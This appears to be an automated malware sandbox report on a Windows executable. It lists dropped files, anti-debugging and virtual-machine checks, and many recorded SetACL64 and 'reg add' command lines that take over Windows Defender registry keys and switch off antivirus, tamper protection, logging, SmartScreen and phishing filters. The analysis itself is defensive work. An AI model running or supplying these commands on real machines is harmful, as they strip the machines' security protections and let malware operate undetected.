Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	File created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	File created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	File created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	File created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\win_version_csharp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	File created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C1741DAC GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_00007FF7C1741DAC

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\win_version_csharp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_4-42631

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe TID: 2548

Thread sleep count: 127 > 30

Jump to behavior

Source: C:\Windows\SysWOW64\reg.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\reg.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_00405C40 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C40
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_00406891 FindFirstFileW,FindClose,	0_2_00406891
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17296D0 FindFirstFileW,GetLastError,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF7C17296D0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175C76C _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	4_2_00007FF7C175C76C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C173CF15 MoveFileExW,FindFirstFileW,GetLastError,FindNextFileW,DeleteFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF7C173CF15

Source: SetACL64.exe, 00000008.00000002.2145654108.00000228F7926000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: SetACL64.exe, 00000008.00000002.2145654108.00000228F7926000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: SetACL64.exe, 00000004.00000002.2140001503.0000013729204000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000007.00000002.2144009034.0000012E75357000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 00000009.00000002.2146824889.000002B1092D6000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 0000000A.00000002.2151273111.000001F6DF896000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 0000000B.00000002.2152929828.0000027E66337000.00000004.00000020.00020000.00000000.sdmp, SetACL64.exe, 0000000D.00000002.2155754104.000001D50426F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SetACL64.exe, 0000000C.00000002.2154260371.000001F959057000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllgg

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

API call chain: ExitProcess graph end node

graph_0-3464

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C17486C8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00007FF7C17486C8

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C175D744 GetProcessHeap,

4_2_00007FF7C175D744

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17486C8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF7C17486C8
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1742AE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF7C1742AE0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1742E8C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF7C1742E8C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1743034 SetUnhandledExceptionFilter,	4_2_00007FF7C1743034

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Mpuser" /v "MpEnablePus" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f	Jump to behavior
